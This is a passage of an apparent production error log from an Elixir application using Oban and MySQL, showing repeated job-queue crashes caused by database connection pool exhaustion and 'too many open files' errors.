    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:52:46.244748Z], limit: 3, uuid: "5b89842f-fca6-4880-ab87-37b7b5ff495f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:46.244755Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59361>, refresh_timer: #Reference<0.2525715032.1077673987.59346>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:58.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1084ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:52:46.245132Z], limit: 5, uuid: "6fdf9ab8-14fd-4ce7-af90-6125294a7068", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:46.245138Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59362>, refresh_timer: #Reference<0.2525715032.1068498948.85540>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:58.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:52:46.244637Z], limit: 50, uuid: "0e20fe85-b731-4ac9-8b90-d70d0281a819", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:46.244644Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.227343>, refresh_timer: #Reference<0.2525715032.1121189889.227339>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:52:46.242614Z], limit: 20, uuid: "214ef1b2-22e7-4069-a454-8d2f90ffe073", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:46.242623Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59317>, refresh_timer: #Reference<0.2525715032.1077673987.59312>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:58.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:52:46.244562Z], limit: 10, uuid: "06f00efa-a568-4ce1-93f5-f14c19a5bfcb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:46.244568Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.227342>, refresh_timer: #Reference<0.2525715032.1121189889.227336>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:58.634000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:59.387000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:03.134000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:04.413000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:07.911000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:09.003000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:10.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:52:58.238064Z], limit: 3, uuid: "c912adf9-9d74-4265-928c-8af5205265d3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:58.238069Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59578>, refresh_timer: #Reference<0.2525715032.1099431938.72009>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:52:58.238300Z], limit: 5, uuid: "34ce5479-8516-4f7c-bd85-e006913bc661", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:58.238305Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.85702>, refresh_timer: #Reference<0.2525715032.1099431938.72021>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:52:58.241318Z], limit: 20, uuid: "c669d521-236b-4c67-b229-dabe36fb6c05", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:58.241322Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.85701>, refresh_timer: #Reference<0.2525715032.1068498948.85700>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:52:58.237882Z], limit: 5, uuid: "141e0f41-4577-47ed-8458-d0eb75a4e71c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:58.237889Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59577>, refresh_timer: #Reference<0.2525715032.1099431938.71999>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:10.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
